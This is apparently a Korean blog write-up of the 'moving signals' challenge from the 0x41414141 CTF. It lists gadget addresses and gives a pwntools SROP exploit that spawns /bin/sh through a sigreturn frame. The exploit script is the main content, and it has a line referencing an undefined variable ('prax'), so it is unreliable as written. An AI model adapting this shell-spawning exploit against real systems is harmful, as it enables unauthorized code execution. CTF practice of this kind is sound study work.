혜랑's STORY

[0x41414141 CTF] moving signals 풀이 본문

2021 SISS 21기 활동/여름방학 System

[0x41414141 CTF] moving signals 풀이

hyerang0125 2021. 7. 10. 17:11

1. checksec

64bit 파일이고 아무런 보호기법도 걸려있지 않다.

2. IDA

  • IDA로 살펴본 결과 start() 함수가 하나 존재했다.

3. 확인해야 할 목록

  • Libc offset
    • "pop rax; ret"
    • "syscall"
    • "/bin/sh" 명령어가 저장된 영역

Find "/bin/sh" -> 0x41250

Find "pop rax  ; ret" -> 0x41018

Find "syscall  ; ret" -> 0x41015

 

4. Exploit

from pwn import *

#context.log_level = 'debug'
binary = "./moving-signals"
context.binary = binary #쉘코드 적용 대상 바이너리의 환경 자동 설정

p = process(binary)

poprax = 0x41018
syscall = 0x41015
print(hex(prax))
print(hex(syscall))

binsh = 0x41250

payload = "A"*0x8
payload += p64(poprax)
payload += p64(0xf)
payload += p64(syscall)
  
s = SigreturnFrame(arch="amd64")
s.rax = constants.SYS_execve
s.rdi = binsh
s.rsi = 0
s.rdx = 0
s.rip = syscall
payload += str(s)

p.send(payload)

p.interactive()

 

결과